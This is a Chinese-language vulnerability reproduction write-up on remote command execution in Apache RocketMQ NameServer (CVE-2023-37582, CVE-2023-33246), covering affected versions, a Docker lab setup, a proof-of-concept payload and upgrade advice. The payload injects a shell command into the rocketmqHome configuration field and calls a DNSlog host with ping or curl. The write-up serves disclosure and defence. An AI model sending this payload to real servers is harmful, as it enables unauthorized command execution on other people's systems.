0x00写在前面

本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!

0x01漏洞介绍

Apache RocketMQ是美国阿帕奇(Apache)基金会的一款轻量级的数据处理平台和消息传递引擎。

Apache RocketMQ 存在代码注入漏洞,该漏洞源于当NameServer地址在外网泄露且缺乏权限验证时,NameServer组件仍然存在远程命令执行漏洞,在RocketMQ 5.1.0及以下版本,在一定条件下,存在远程命令执行风险。RocketMQ的NameServer、Broker、Controller等多个组件暴露在外网且缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。此外,攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果。

0x02影响版本

CVE-2023-37582(历史漏洞未修复完全

RocketMQ < 4.9.7

RocketMQ < 5.1.2

640 (16)_副本

CVE-2023-33246

Apache RocketMQ <= 5.1.0

Apache RocketMQ <= 4.9.5

0x03漏洞复现

1.访问漏洞环境

docker pull apache/rocketmq:4.9.4
docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv

2.对漏洞进行复现

Poc

{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":395}filterServerNums=1
rocketmqHome=-c $@|sh . echo ping/curl czrnvu.dnslog.cn;

640 (18)_副本

3.nuclei工具测试(漏洞存在)

640 (19)_副本

0x04修复建议

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

https://lists.apache.org/thread/m614czxtpvlztd7mfgcs2xcsg36rdbnc
https://rocketmq.apache.org/download

建议受影响用户升级至:

RocketMQ 5.x >= 5.1.2
RocketMQ 4.x >= 4.9.7

建议将 NameServer、 Broker 等组件部署在内网,同时增加权限认证